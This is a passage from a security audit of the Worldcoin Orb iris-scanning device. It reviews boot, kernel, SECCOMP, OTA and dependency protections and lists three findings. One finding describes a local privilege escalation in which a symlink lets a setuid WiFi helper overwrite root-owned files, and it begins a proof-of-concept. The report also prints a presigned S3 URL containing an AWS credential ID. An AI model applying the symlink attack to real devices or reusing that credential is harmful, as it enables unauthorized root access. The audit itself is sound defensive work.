The `reset_mirror_calibration` function recalibrates the mirror to its default settings. We confirmed that an unauthorized entity cannot modify the detailed mirror settings via a QR code and that the calibration process only resets to predefined default values specified in the configuration file. Therefore, it is unlikely that this functionality can be exploited for malicious purposes.

The `reset_wifi_credentials` function allows the Orb device to connect to a new WiFi network. This process involves inserting the SSID, password, and authentication method provided by the user into the configuration file and using the `wpa_cli` binary to connect to the designated wireless network.

An analysis was conducted to determine whether an attacker could manipulate externally provided data to modify the configuration file, exploit the `wpa_cli` or `supplicant` binaries, and potentially execute arbitrary code or cause device malfunctions.
However, explicit input validation and configuration verification are applied, making arbitrary configuration manipulation impossible. As a result, it was concluded that exploiting this functionality is unlikely.

2-7. Can malicious iris data or images compromise the system, leading to crashes or arbitrary code execution?

The QR codes used during the Orb Signup process are decoded using `Rxing` (version 0.4.12), an open-source library. An analysis of the QR code processing logic in `Rxing` confirmed that no unsafe keywords, raw pointers, or direct memory access are used in bitmap handling or the decoding process. Therefore, the risk of memory corruption attacks via QR codes is considered unlikely.

Additionally, other potential attack surfaces, such as images and data processed via cameras and sensors, were analyzed. We confirmed that agent separation and built-in error handling mechanisms effectively mitigate risks, ensuring that no related security issues were found. (2-5)

[Security Mitigations and Configurations]

3-1. Is an adequate failover system implemented for abnormal process termination?

The essential processes running on the Orb are registered as services under systemd, the system service manager, so that if a process terminates, it restarts automatically. Below is a list of services registered under systemd, followed by an example configuration file.

- orb-ui
- orb-attest
- orb-supervisor
- orb-update-agent
- orb-update-verifier
- orb-core
- orb-backend-connect
- orb-backend-state
- orb-thermal-cam-ctrl
- orb-ensure-mnt-updates-writable
- orb-mcu-telemetry
- orb-file-encryption

```
[Unit]
Description=Short lived attestation token daemon
## persistent contains SE pairing keys
After=usr-persistent.mount
Requires=worldcoin-backend-online.target
After=worldcoin-backend-online.target

[Service]
Type=simple
User=worldcoin
Environment=DBUS_SESSION_BUS_ADDRESS=unix:path=/tmp/worldcoin_bus_socket
Environment=RUST_BACKTRACE=1
SyslogIdentifier=worldcoin-attest
Restart=on-failure
ExecStart=/bin/bash -c 'ORB_ID=$(/usr/local/bin/orb-id) /usr/local/bin/orb-attest'

[Install]
WantedBy=multi-user.target
```

Systemd configuration example

3-2. Do device configurations and settings protect against unauthorized access, privilege escalation, and exploitation of known vulnerabilities?

1. Bootloader

In addition to restricting the ability to invoke debug features on production devices, the UART console access is also disabled to block external entry points through hardware.

```
// orb-firmware/bootloader/release.conf
CONFIG_DEBUG=n
CONFIG_LOG=n
CONFIG_BOOT_BANNER=n
```

```
CONFIG_CONSOLE=n
CONFIG_UART_CONSOLE=n
CONFIG_UART_STM32=n
```

Hardware console access disabled

2. *Secure-element*

The `secure-element` that generates signatures for iris data is protected by an allowlist-based Secure Computing (SECCOMP) mechanism, preventing attackers from arbitrarily invoking malicious system calls. As a result, even if an attacker takes control of the `secure-element` process, they cannot invoke any system calls not specified in `allowed_syscalls`. Below is the code implementing SECCOMP.

```c
// orb-secure-element/orb-secure-element.c
const static int allowed_syscalls[] = {
   SCMP_SYS(bind),      SCMP_SYS(brk),          SCMP_SYS(clock_nanosleep),
   SCMP_SYS(close),     SCMP_SYS(exit),         SCMP_SYS(exit_group),
   SCMP_SYS(faccessat), SCMP_SYS(flock),        SCMP_SYS(fstat),
   SCMP_SYS(fsync),     SCMP_SYS(futex),        SCMP_SYS(getpid),
   SCMP_SYS(getrandom), SCMP_SYS(gettid),       SCMP_SYS(ioctl),
   SCMP_SYS(lseek),     SCMP_SYS(nanosleep),    SC_SYS(openat),
   SCMP_SYS(prctl),     SCMP_SYS(read),         SCMP_SYS(recv),
   SCMP_SYS(recvfrom),  SCMP_SYS(rt_sigaction), SCMP_SYS(send),
   SCMP_SYS(sendto),    SCMP_SYS(setitimer),    SCMP_SYS(setsockopt),
   SCMP_SYS(sigreturn), SCMP_SYS(socket),       SCMP_SYS(unlinkat),
   SCMP_SYS(write),     SCMP_SYS(writev),
};

static int init_seccomp(void)
{
   scmp_filter_ctx ctx;
   int rc;

   ctx = seccomp_init(SCMP_ACT_KILL);
   if (ctx == NULL)
       goto err;

   for (int i = 0; i < ARRAY_SIZE(allowed_syscalls); i++) {
       rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, allowed_syscalls[i], 0);
       if (rc != 0)
           goto err;
   }

   rc = seccomp_load(ctx);
   if (rc < 0)

       goto err;
   return 0;
err:
   LOG_E("Failed to initialize seccomp");
   return -1;
}
```

System call restricted with SECCOMP

3. *Linux Kernel*

With respect to kernel options, the following options were additionally applied to strengthen security based on `tegra_defconfig` of NVIDIA Xavier NX SoC.

```
# orb-os/pearl/kernel/patches/kernel_config_fragments/prod/enable_kernel_hardening.cfg
# Avoid kernel memory address exposures via dmesg (sets sysctl kernel.dmesg_restrict
initial value to 1)
CONFIG_SECURITY_DMESG_RESTRICT=y

# Enforce signed modules in prod configuration
CONFIG_MODULE_SIG_FORCE=y

# Dangerous; enabling this allows direct kernel memory writing.
CONFIG_DEVKMEM=n

# Do not allow direct physical memory access (but if you must have it, at least enable
STRICT mode...)
CONFIG_DEVMEM=n
CONFIG_STRICT_DEVMEM=y
CONFIG_IO_STRICT_DEVMEM=y

# Disable in-kernel .config to build a copy of the configuration the kernel was built
with
# into the kernel itself. This absence of this option than further leads to
unavailability
# of kernel config information in /proc
CONFIG_IKCONFIG=n

#HID Devices
#USB HID support
CONFIG_USB_HID=n

#Selected by USB_HID [=y] && USB [=y] && INPUT [=y]
CONFIG_HID=n

#USB Gadget Support
CONFIG_USB_GADGET=n

#USB Mass Storage support
CONFIG_USB_STORAGE=n

#SCSI disk support
CONFIG_BLK_DEV_SD=n
```

Options for kernel security hardening

However, upon comparing these settings with an Android device running a similar kernel version, we identified additional hardening options and delivered them as recommendations.

- WORLDCOIN-ORB-002

4. *Privilege Management*

After identifying services in the Orb system that run with root privileges or are intentionally configured to run with elevated privileges via `setuid`/`setgid`, we investigated whether these services contained vulnerabilities that could exploit a privilege escalation attack.

As a result, it was found that the `/usr/local/bin/wpa-supplicant-interface` binary, which has the `setuid` flag set to `root`, could be exploited to overwrite arbitrary files with elevated privileges.

However, it was confirmed that in production devices, arbitrary modification of the content to be overwritten is not possible, making actual privilege escalation difficult. Detailed information and mitigation measures are documented in the WORLDCOIN-ORB-003 report.

- WORLDCOIN-ORB-003

5. Systemd Service Security Analysis

Considering that multiple custom `systemd` services are running on the firmware for the Orb service, we conducted a security assessment using the `systemd-analyze` security tool.

These findings theoretically suggest that insufficient service configurations could lead to various security threats such as unauthorized access, privilege escalation, or exploitation of known vulnerabilities.

However, given the nature of the Orb system, a wide range of extensive and stringent hardware and software security hardening measures have been thoroughly implemented to prevent such issues. Consequently, the likelihood that these potential concerns would be exploited in an attack is deemed low.

Nevertheless, we recommend continually reviewing these analytical findings to reinforce security and prevent any potential issues in the long term. This involves strengthening security settings and regularly refining system permissions and network access control policies.

```
root@localhost:/home/worldcoin# systemd-analyze security | grep -i world
worldcoin-attest.service                  9.2 UNSAFE    😨
worldcoin-control-api.service             9.3 UNSAFE    😨  # only runs on dev mode
worldcoin-core.service                    9.3 UNSAFE    😨
worldcoin-dbus.service                    9.2 UNSAFE    😨
worldcoin-mcu-telemetry.service           9.2 UNSAFE    😨
worldcoin-supervisor.service              9.6 UNSAFE    😨
worldcoin-ui.service                      9.2 UNSAFE    😨
```

Worldcoin systemd services

3-3. Can an attacker arbitrarily gain shell access or extract firmware via debug ports?

In addition to blocking the invocation of debug features on production devices, the UART console was also restricted to eliminate external hardware entry points. Consequently, we confirmed that attackers cannot gain shell access or extract firmware through debug ports on production devices.

```
// orb-firmware/bootloader/release.conf
CONFIG_DEBUG=n
```

```
CONFIG_LOG=n
CONFIG_BOOT_BANNER=n
CONFIG_CONSOLE=n
CONFIG_UART_CONSOLE=n
CONFIG_UART_STM32=n
```

DEBUG mode and UART interface disabled

3-4. Does the bootloader correctly verify firmware signatures?

Orb uses MCUBoot, a secure bootloader compatible with Zephyr RTOS, to perform signature verification with public key cryptography at the bootloader level, ensuring the integrity and reliability of firmware images. The firmware image is signed with a private key generated by TFH, and the bootloader verifies this signature using an embedded public key.

In order for the Orb to use the bootloader signature verification feature, we checked that the private key and public key generated by TFH are respectively specified (embedded) in `CONFIG_MCUBOOT_SIGNATURE_KEY_FILE` and `CONFIG_MCUBOOT_ENCRYPTION_KEY_FILE`, as shown below.

```
//priv-orb-firmware/pearl_main.conf

# Path to signature file. Must be absolute or relative to West top dir
CONFIG_MCUBOOT_SIGNATURE_KEY_FILE="orb/private/utils/ota/dev/pearl_main/root-ec-p256.pem"
CONFIG_MCUBOOT_ENCRYPTION_KEY_FILE="orb/private/utils/ota/dev/pearl_main/enc-ec256-pub.pe
m"
```

Public and private keys generated by TFH

```
//priv-orb-firmware/sec_board/prj.conf

# Bootloader
# Enable Zephyr application to be booted by MCUboot
CONFIG_BOOTLOADER_MCUBOOT=y
CONFIG_MCUBOOT_BOOTUTIL_LIB=y
```

MCUBOOT enabled

Reference

- https://docs.mcuboot.com/readme-zephyr.html
- https://docs.mcuboot.com/design.html

3-5. Can maliciously crafted firmware be transferred and flashed through the Over-The-Air (OTA) update process?

For agent updates, the update information (hash, size, download URL, etc.) for the agent is downloaded through the following URL.

- https://update.{}.orb.worldcoin.org/api/v1/updates/check/v2


```
{
  "manifest": {
    "components": [
      {
        "hash": "2bb7b68a25e68092d6117069fc4b3d3aca4d63952674042b09198dbd704f04e9",
        "name": "app",
        "size": 67108864,
        "version": "idk2",
        "version-assert": "idk2",
        "installation_phase": "normal"
      },
  "sources": {
    "ai_layer": {
      "hash": "5c434b4518f25a6226938e1da7c60b045b944207f95417445cd6017d08a8417b",
      "name": "ai_layer",
      "mime_type": "application/octet-stream",
      "size": 1252864000,
      "url":
"https://worldcoin-orb-updates-stage.s3.us-east-1.amazonaws.com/6.0.29%2B5d20de6.24100719
04.dev/ai_layer.cmp?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXN4QRF2FIIKGZAV
6%2F20241127%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241127T091104Z&X-Amz-Expires=43
200&X-Amz-SignedHeaders=host&x-id=GetObject&X-Amz-Signature=745e3a10fee021566f7dc76ca5bcc
a87865fed2a0069ccc31119f336affa305b"
    },
```


Downloaded claim example

Based on the downloaded claim information, the system retrieves the update file. We confirmed that, to prevent corruption of the agent or the download of an abnormal agent, the specified SHA256 hash is compared against the hash of the update file.

```
// orb-software/update-agent/src/component.rs#531~L535
#[expect(clippy::result_large_err)]
pub fn fetch<P: AsRef<Path>>(
   manifest_component: &ManifestComponent,
   system_component: &components::Component,
   source: &Source,
   dst_dir: P,
   supervisor: Option<&dbus::SupervisorProxyBlocking<'static>>,
   download_delay: Duration,
) -> Result<Component, Error> {
   …
   } else {
       if let Err(e) =
           util::check_hash(&path, &source.hash).map_err(|e| Error::HashMismatch {
               name: source.name.clone(),
               source: e,
           …
```

Malicious malware check with SHA256 hash verification

Additionally, to prevent damage to the firmware image or the download of an abnormal image during the firmware update process, a CRC32 check is performed on the firmware image.

```
// check CRC32 of sent firmware image
```

```
// orb-software/update-agent/src/update/can.rs#L186~L209
let crc = crc32fast::hash(buffer.as_slice());
let payload = match remote {
   IsoTpNodeIdentifier::MainMcu => McuPayload::ToMain(
       protobuf::main::jetson_to_mcu::Payload::FwImageCheck(
           protobuf::FirmwareImageCheck { crc32: crc },
       ),
   ),
   IsoTpNodeIdentifier::SecurityMcu => {
       McuPayload::ToSec(protobuf::sec::jetson_to_sec::Payload::FwImageCheck(
           protobuf::FirmwareImageCheck { crc32: crc },
       ))
   }
   _ => bail!("Unknown node"),
};
update_stream.send_payload(payload).map_err({
   DATADOG
       .incr(
           "orb.update.count.component.can",
           ["status:post_check_error"],
       )
       .or_log();
   |e| e
})?;
```

CRC32 verification on firmware image

After the CRC32 check request, in the `dfu_secondary_check` function that receives the `McuPayload`, the system calculates the CRC32 of the firmware image in the Secondary Slot (where the new firmware is stored) and compares it with the transmitted CRC32 value, thereby performing an integrity check on the firmware to be updated.

```
// orb-firmware/lib/dfu/dfu.c#L480~L518
int
dfu_secondary_check(uint32_t crc32)
{
   // buffer needed to read external Flash (diamond) and compute CRC32
   uint8_t buf[DFU_FLASH_PAGE_SIZE];
   uint32_t computed_crc = 0;
   int ret;

   ...
   const struct flash_area *flash_area_p = NULL;
   ret = flash_area_open(DT_FIXED_PARTITION_ID(DT_ALIAS(secondary_slot)),
                         &flash_area_p);
   if (ret) {
       LOG_ERR("Unable to open secondary slot");
       return RET_ERROR_INTERNAL;
   }

   struct image_tlv_info tlv_magic = {0};
   flash_area_read(flash_area_p, (off_t)img_size, &tlv_magic,
                   sizeof(tlv_magic));
   if (tlv_magic.it_magic == IMAGE_TLV_INFO_MAGIC ||
       tlv_magic.it_magic == IMAGE_TLV_PROT_INFO_MAGIC) {
       img_size += tlv_magic.it_tlv_tot;
   }

   // read entire flash area content to calculate CRC32
   for (size_t off = 0; off < img_size; off += DFU_FLASH_PAGE_SIZE) {
```

```
        size_t len = (img_size - off < DFU_FLASH_PAGE_SIZE)
                         ? img_size - off
                         : DFU_FLASH_PAGE_SIZE;
        ret = flash_area_read(flash_area_p, (off_t)off, buf, len);
        if (ret) {
            LOG_ERR("Unable to read secondary slot");
            flash_area_close(flash_area_p);
            return RET_ERROR_INTERNAL;
        }
        computed_crc = crc32_ieee_update(computed_crc, buf, len);
    }

    flash_area_close(flash_area_p);

    LOG_INF(
        "Secondary slot CRC32 (binary size %uB): computed 0x%x, expected 0x%x",
        img_size, computed_crc, crc32);
    if (computed_crc != crc32) {
        return RET_ERROR_INVALID_STATE;
    }

    return RET_SUCCESS;
}
```

Function verifying CRC32 on firmware image

Additionally, the Orb verifies the integrity of the OS bootloader and file system by utilizing the NVIDIA Jetson Secure Boot mechanism and Linux's `dm-verity` feature.

NVIDIA Secure Boot prevents the execution of unauthorized code during boot by having the Tegra SoC's boot ROM authenticate the Boot Configuration Table (BCT) and the bootloader through public key cryptography.
Meanwhile, `dm-verity` is a device mapper function that verifies the integrity of a read-only file system in real time, checking the integrity of each block based on the root hash of the Merkle tree generated at boot.

By examining the Tegra SoC based NVIDIA Secure Boot status directly through code review and device shell access, we confirmed that `dm-verity` is performing disk integrity checks properly. Through these measures, the Orb's firmware signature and integrity verification are carried out appropriately, making it difficult to flash tampered firmware or modify the boot file system.

```
// tegra-fuse

root@localhost:/sys/devices/platform/tegra-fuse# ls
arm_jtag_disable      modalias                 power           reserved_odm5
boot_security_info    odm_info                 public_key      reserved_odm6
debug_authentication  odm_lock                 reserved_odm0   reserved_odm7
driver                odm_production_mode      reserved_odm1   reserved_odm8
driver_override       odmid                    reserved_odm10  reserved_odm9
ecid                  of_node                  reserved_odm11  secure_boot_key
kek0                  opt_customer_optin_fuse  reserved_odm2   subsystem
kek1                  opt_tpc_disable          reserved_odm3   uevent
kek2                  pdi                      reserved_odm4   wakeup
```

tegra-fuse to check secure boot status

```
// dm-verity

root@localhost:/sys/module# dmsetup status
CACHE: 0 80 verity V
LFT: 0 734112 verity V
SECURITY: 0 24 verity V
SYSTEM: 0 112280 verity V
PACKAGES: 0 1173640 verity V
BASE: 0 43664 verity V
AI: 0 2427864 verity V
CUDA: 0 6375296 verity V
SOFTWARE: 0 116064 verity V
models: 0 16744448 crypt
scratch: 0 33521664 crypt
```

Linux dm-verity enabled

Reference

- https://docs.nvidia.com/jetson/archives/r35.1/DeveloperGuide/text/SD/Security/SecureBoot.html
- https://docs.nvidia.com/drive/drive_os_5.1.6.1L/nvvib_docs/index.html#page/DRIVE_OS_Linux_SDK_Development_Guide/Windows%20Systems/security_concepts.html
- https://www.starlab.io/blog/dm-verity-in-embedded-device-security

3-6. Are third-party libraries securely used and managed?

The Orb utilizes various Rust crates, open-source components, and third-party libraries, making it essential to use reliable, secure libraries and maintain proper version control. Currently, for the Rust projects `orb-core` and `orb-software`, we used the Cargo audit tool to perform a security review of package dependencies and analyze any 1-day issues and stability concerns. As a result, a few libraries were identified that contain known vulnerabilities or appear to be unmaintained.

Upon further analysis, we confirmed that the vulnerable functions and features within these libraries are not directly invoked or executed in the Orb service logic. Consequently, it is deemed that no exploit-related security risk currently exists in the operating environment.

However, because unmaintained libraries no longer receive security patches or feature improvements, there is a high likelihood that previously known vulnerabilities remain unaddressed. Additionally, even if vulnerable functions are not currently used, there is a risk that future development could inadvertently make use of such functions.

Therefore, any unmaintained libraries should be continuously monitored and replaced with secure, up-to-date alternatives whenever possible. It is also necessary to thoroughly examine the use of these libraries during development and code reviews, ensuring that new features are implemented securely and with appropriate security considerations.

Repository	Description	Reference

priv-orb-core	• idna accepts Punycode labels that do not produce any non-ASCII when decoded	RUSTSEC-2024-0421
	• ssl::select_next_proto use after free	RUSTSEC-2025-0004
	• rustls network-reachable panic in Acceptor::accept ○ rust-url lib dependency	RUSTSEC-2024-0399

	• 10 warnings
	  ○ 8 unmaintained
	  ○ 2 checked (not affected)
		-

orb-software	• Hickory DNS failure to verify self-signed RRSIG for DNSKEYs	RUSTSEC-2025-0006
	• rsa timing side channel attack	RUSTSEC-2023-0071

4. Findings

4.1. Summary of Findings

As a result of the security assessment, a total of three findings were identified. These include an issue where an attacker who has gained shell access to the Orb device could overwrite arbitrary files with root privileges. Additionally, the findings contain recommendations to further enhance the security of the Orb device.

Based on the severity and impact of these vulnerabilities, it is essential to prioritize remediation efforts accordingly. Furthermore, considering service stability, medium to long-term countermeasures should be established to ensure the robustness and security of the system.

ID Code	Title	Severity
WORLDCOIN-ORB-001	Zeroing Memory After Iris Data Processing	Informational
WORLDCOIN-ORB-002	Harden Kernel Build Configuration	Informational
WORLDCOIN-ORB-003	Privilege Escalation Possibility Due to Improper Permission Restrictions on WiFi Configuration Files	Low

Severity Classification	# of Findings
Critical	0
High	0
Medium	0
Low	1
Informational	2
Total	3

4.2. Findings

4.2.1. WORLDCOIN-ORB-001: Memory Cleanup After Iris Data Processing

ID Code	WORLDCOIN-ORB-001	Severity	Informational
Type	Cleartext Storage of Sensitive Information in Memory	Related CWE	CWE-316
Target	priv-orb-core, orb-core		
Abstract	Orb utilizes users' iris and eye images during the World ID enrollment process. To prevent these sensitive data from being stored in memory as plaintext for an extended period, it is recommended to implement periodic memory clearing mechanisms. This will help mitigate the risk of unauthorized access or leakage of biometric information.		

Description

Orb captures users' iris images during the World ID registration process and utilizes them to generate an iris code.

Below is the code segment responsible for capturing and processing iris images:

```
//
https://github.com/worldcoin/priv-orb-core/blob/1c911a7f0e841808d50f7e2
096f1189922594fdf/src/plans/mod.rs#L1177-L1219
async fn biometric_capture(
   &self,
   orb: &mut Orb,
   orb_relay: Option<&mut OrbRelayClient>,
   debug_report: &mut debug_report::Builder,
) -> Result<Option<biometric_capture::Capture>> {
   #[cfg(feature = "allow-plan-mods")]
   if let Some(biometric_input) = self.biometric_input.as_deref() {
       return Ok(Some(
           load_biometric_input(biometric_input, orb.use_face_engine,
debug_report).await?,
       ));
   }
   if !proceed_with_biometric_capture(orb, orb_relay,
debug_report).await? {
       return Ok(None);
   }
   if !self.detect_face(orb).await? {
       return Ok(None);
   }
   tracing::info!("Starting image notary");
   orb.start_image_notary(debug_report.signup_id.clone()).await?;
   orb.set_phase("Biometric capture").await;
   let t = Instant::now();
   let mut wavelengths = vec![(DEFAULT_IR_LED_WAVELENGTH,
DEFAULT_IR_LED_DURATION)];
   wavelengths.extend_from_slice(EXTRA_IR_LED_WAVELENGTHS);
```

```
    let Config { self_serve, self_serve_biometric_capture_timeout, .. }
=
        *orb.config.lock().await;
    let plan = biometric_capture::Plan::new(
        &wavelengths,
        Some(if self_serve {
            self_serve_biometric_capture_timeout
        } else {
            BIOMETRIC_CAPTURE_TIMEOUT
        }),
        debug_report.signup_extension_config.clone(),
        &orb.config.lock().await.clone(),
    );
```

Iris Image Utilization Code

Iris information is classified as highly sensitive data within the device, and storing iris data in plaintext inside the device or leaking it externally after its use in the code logic is strictly prohibited.

However, in the current iris data processing process, there is no procedure to scrub or erase iris data that remains in memory after its use. As a result, an attacker with temporary access to physical or logical memory could potentially exfiltrate plaintext iris data.

Therefore, it is necessary to implement a process for the immediate erasure of iris data once its use is complete. Furthermore, it is recommended to extend this measure by ensuring that all memory used in the generation of the iris code is completely erased.

Impact	An attacker with temporary access to physical or logical memory may be able to obtain plaintext iris information that has not been erased even after the completion of the World ID registration process.
Recommendation	We recommend adding a process to clear all memory allocated to variables that stored user information after the World ID registration process is fully completed. However, since the current Orb uses Rust, a memory-safe language, and no memory access issues have been identified, implementing this recommendation is not considered essential. If this recommendation is to be implemented, it can be efficiently done using Rust's `Zeroize` library. By specifying variables in the `Zeroizing<Type>` format, memory containing sensitive information is automatically erased when the variable is dropped. It is recommended to refer to the implementation in the `aws-sdk-rust` as a reference when implementing this process.
Reference	• https://docs.rs/zeroize/latest/zeroize/ • https://github.com/awslabs/aws-sdk-rust/blob/main/sdk/aws-credential-types/src/credentials_impl.rs

4.2.2. WORLDCOIN-ORB-002: Harden Kernel Build Configuration

ID Code	WORLDCOIN-ORB-002	Severity	Informational
Type	Protection Mechanism Failure	Related CWE	CWE-693
Target	orb-os		
Abstract	After reviewing the Linux kernel configuration used in Orb, certain options have been identified that can make kernel exploitation harder or reduce the attack surface. It is recommended to enable or disable these features accordingly.		

Description

Currently, Orb is using Linux version 5.10.104+ with several hardened options applied to the default kernel build configuration, `tegra_defconfig`, which is provided for the NVIDIA Xavier NX SoC.

However, upon comparing the default kernel build options with two Android devices (Samsung Galaxy S24 and Google Pixel 9), which use a similar Linux kernel but with additional hardening options, it has been identified that the following options can be further hardened.

Applicable Hardening Options

```
CONFIG_INIT_STACK_ALL_ZERO = y
CONFIG_RODATA_FULL_DEFAULT_ENABLED = y
CONFIG_ARM64_BTI_KERNEL  = y
CONFIG_MITIGATE_SPECTRE_BRANCH_HISTORY  = y
CONFIG_STATIC_USERMODEHELPER  = y
CONFIG_WERROR  = y
CONFIG_KASAN_HW_TAGS  = y
CONFIG_SECURITY_YAMA  = y
CONFIG_FB  = n
CONFIG_VT  = n
CONFIG_GENERIC_TRACER  = n
CONFIG_FUNCTION_TRACER  = n
CONFIG_STACK_TRACER  = n
CONFIG_PROC_VMCORE  = n
CONFIG_RSEQ  = n
CONFIG_CRASH_DUMP  = n
CONFIG_USER_NS  = n
CONFIG_EFI_CUSTOM_SSDT_OVERLAYS = n
CONFIG_TRIM_UNUSED_KSYMS  = y
CONFIG_ARM64_PTR_AUTH  = y
CONFIG_IOMMU_DEFAULT_DMA_STRICT = y
CONFIG_ARM64_EPAN = y
CONFIG_ARM64_PTR_AUTH_KERNEL = y
CONFIG_BPF_UNPRIV_DEFAULT_OFF = y
CONFIG_DEBUG_FS = n
CONFIG_FTRACE = n
```

Kernel Hardening Options

Among the compared and organized items, options that significantly degrade device performance while providing low effectiveness have been excluded. Additionally, options that cannot be used due to lack of hardware support are marked in red. (Details on the hardening options that cannot be applied can be found below.)

PAC, BTI, and EPAN cannot be used.

The `CONFIG_ARM64_PTR_AUTH`, `CONFIG_ARM64_PTR_AUTH_KERNEL` and `CONFIG_ARM64_EPAN` flags provide mitigations introduced in ARMv8.3, while `CONFIG_ARM64_BTI_KERNEL` is available from ARMv8.5. However, after reviewing the CPU specifications of the current Orb device, it has been confirmed that these features are not supported and therefore cannot be enabled.

```
$ cat /proc/cpuinfo | grep "Feature"
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
$ cat /proc/cpuinfo | grep -E -o "bti|pac" | sort | uniq
$
```

CPU Features

MTE cannot be used.

The `CONFIG_KASAN_HW_TAGS` flag provides a mitigation mechanism that supports metadata tagging during memory allocation to detect Use-After-Free and Buffer Overflow vulnerabilities. However, since this feature is available only from ARMv8.5, it has been confirmed that it cannot be enabled on the current Orb device.

Modification of sysctl Options

Additionally, although the BPF feature is disabled (`CONFIG_BPF_SYSCALL=n`), preventing direct use of BPF through `syscall` calls, there remains a possibility that exploits could abuse the BPF functionality through alternative invocation methods.

Therefore, it is recommended to apply the following `sysctl` options to mitigate potential risks.

```
AS-IS:
```

	`root@localhost:/home/worldcoin# sysctl -a | grep unprivileged_bpf_disabled`
	`kernel.unprivileged_bpf_disabled = 0`
	`root@localhost:/home/worldcoin# sysctl -a | grep bpf_jit_harden`
	`net.core.bpf_jit_harden = 0`
	
	`TO-BE:`
	`kernel.unprivileged_bpf_disabled = 2`
	`net.core.bpf_jit_harden = 2`
	
	Sysctl Options to be Modified

Impact	A loosely configured kernel may fail to effectively mitigate kernel exploits or may introduce additional attack surfaces.
Recommendation	Apply the kernel configurations and `sysctl` recommendations outlined in the description. However, since no performance tests have been conducted following these kernel option changes, it is recommended to internally evaluate the device's power consumption and performance impact before applying these changes to the Production build.
Reference	• N/A

4.2.3. WORLDCOIN-ORB-003: Privilege Escalation Possibility Due to Improper Permission Restrictions on WiFi Configuration Files

ID Code	WORLDCOIN-ORB-003	**Severity**	Low
Type	Improper Privilege Management	**Related CWE**	CWE-269
Target	priv-orb-core, orb-core		
Abstract	Within the `wpa-supplicant-interface` program used in Orb, the `restore-default-config` function can be exploited to overwrite arbitrary files with root privileges, leading to a privilege escalation attack. However, an actual privilege escalation attack is only possible on devices in Debug mode where `dm-verity` is not applied to the root filesystem. In Production devices, due to `dm-verity`, an attacker cannot arbitrarily modify the data to be overwritten, limiting root-privileged file overwrites to filesystems with RW permissions.		

Description	In Orb, the `wpa-supplicant-interface` program is used to configure Wi-Fi network settings.
	
	This binary is configured with setuid, causing it to execute with root privileges when run.
	
	`(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al /usr/local/bin/wpa-supplicant-interface`
	`-rwsr-xr-x 1 root root 1508600 Jan  1  1970 /usr/local/bin/wpa-supplicant-interface`
	
	The wpa-supplicant-interface binary
	
	The binary provides the following functionalities related to Wi-Fi connection.
	
	`wpa-supplicant-interface`
	`Restricted orb-core interface to wpa_supplicant`
	
	`USAGE:`
	`  wpa-supplicant-interface <SUBCOMMAND>`
	
	`OPTIONS:`
	`  -h, --help  Print help information`
	
	`SUBCOMMANDS:`
	`  check  Checks the status of WiFi network connection`
	`  help  Print this message or the help of the given subcommand(s)`
	`  join  Joins a new WiFi network`		

```
    reconfigure                 Forces wpa_supplicant to re-read its
configuration data
    restore-default-config      Overwrites the current config file with
the default one
    signal                      Checks the current signal statistics
    ssid                        Checks the current SSID name
```

Functions of the wpa-supplicant-interface binary

Among these, the `restore-default-config` function overwrites the current configuration file with the default configuration file.

```rust
//
https://github.com/worldcoin/priv-orb-core/blob/1c911a7f0e841808d50f7e2
096f1189922594fdf/wpa-supplicant-interface/src/main.rs#L58-L74
fn main() -> Result<()> {
   color_eyre::install()?;
   match Opt::parse() {
       Opt::Check => status::run(status::WPA_STATE),
       Opt::Join { auth, ssid, password } => {
           join::run(auth.as_deref(), &ssid, password.as_deref())
       }
       Opt::Reconfigure => reconfigure::run(),
       Opt::RestoreDefaultConfig => {
           std::fs::copy(DEFAULT_CONFIG_PATH, CONFIG_PATH)?; // here
           Ok(())
       }
       Opt::Ssid => status::run(status::SSID),
       Opt::Signal => signal::run(),
   }
}
```

Source code of the restore-default-config function

However, due to three problems, an unauthorized user can exploit this function to write arbitrary data to an arbitrary file with root privileges:

1. The `wpa_supplicant.conf` file, which contains the data to be overwritten, is owned by the `worldcoin` user rather than root. **(However, in Production devices, the contents of the file cannot be modified due to the protection provided by `dm-verity`.)**

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/etc/default/wpa_supplicant.conf
-rw-r--r-- 1 worldcoin worldcoin 216 Feb  7 06:25
/etc/default/wpa_supplicant.conf
```

2. The `wpa_supplicant-wlan0.conf` file, which is the target file to be overwritten, is also owned by the worldcoin user instead of root.

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/usr/persistent/wpa_supplicant-wlan0.conf
-rw-r--r-- 1 worldcoin worldcoin 208 Feb  6 10:13
/usr/persistent/wpa_supplicant-wlan0.conf
```

3. The `RestoreDefaultConfig` function does not perform symbolic link validation on the target file. This allows an attacker to modify the file at `CONFIG_PATH` into a symbolic link, redirecting it to an arbitrary file, which can then be overwritten with root privileges.

PoC:
The following Proof of Concept (PoC) demonstrates how this attack can be performed. The PoC overwrites the `/home/worldcoin/target` file, which has root privileges.

1. Verify file permissions and configuration

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al /home/worldcoin/target
-rw-r--r-- 1 root root 0 Feb  7 08:45 /home/worldcoin/target
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/usr/persistent/wpa_supplicant-wlan0.conf
-rw-r--r-- 1 worldcoin worldcoin 216 Feb  7 08:46
/usr/persistent/wpa_supplicant-wlan0.conf
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/etc/default/wpa_supplicant.conf
-rw-r--r-- 1 worldcoin worldcoin 216 Feb  7 06:25
/etc/default/wpa_supplicant.conf
```

2. Modify the `/etc/default/wpa_supplicant.conf` file with arbitrary data
(However, in Production devices, the contents of the file cannot be modified due to the protection provided by `dm-verity`.)

```
